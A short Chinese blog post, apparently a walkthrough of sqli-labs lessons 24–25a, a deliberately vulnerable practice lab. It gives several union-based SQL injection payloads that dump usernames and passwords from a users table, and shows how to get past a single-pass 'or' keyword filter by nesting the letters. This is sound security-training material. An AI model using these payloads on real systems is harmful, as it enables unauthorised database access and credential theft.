sqli-labs Less-24-25a

2019-10-17  本文已影响0人  jun123123
?id=0' union select 1,group_concat(username),group_concat(password) from users %23

结果发现password中也含'or'


3.png

因此构造payload:

?id=0' union select 1,group_concat(username),group_concat(id) from users %23
4.png

查询username和id,通过id就可以得到password,但这种方法并不好因为不是通过注入得到password,于是去看了wp,发现存在过滤次数的问题。
这里只进行了一次过滤
注:只进行一次过滤并不是指只过滤一个'or',而是对字符串只过滤一遍。例如passworororord中的'or'仍然会被全部过滤,而passwoorrd中只会过滤中间的'or',从而实现了过滤绕过
构造payload:

?id=0' union select 1,group_concat(username),group_concat(passwoorrd) from users %23
5.png

注入成功
(一般来说都不会进行多次过滤,因为可能正常字段中的'or'也会被过滤)

?id=0 union select 1,group_concat(username),group_concat(passwoorrd) from users %23
6.png

注入成功

上一篇 下一篇

猜你喜欢

热点阅读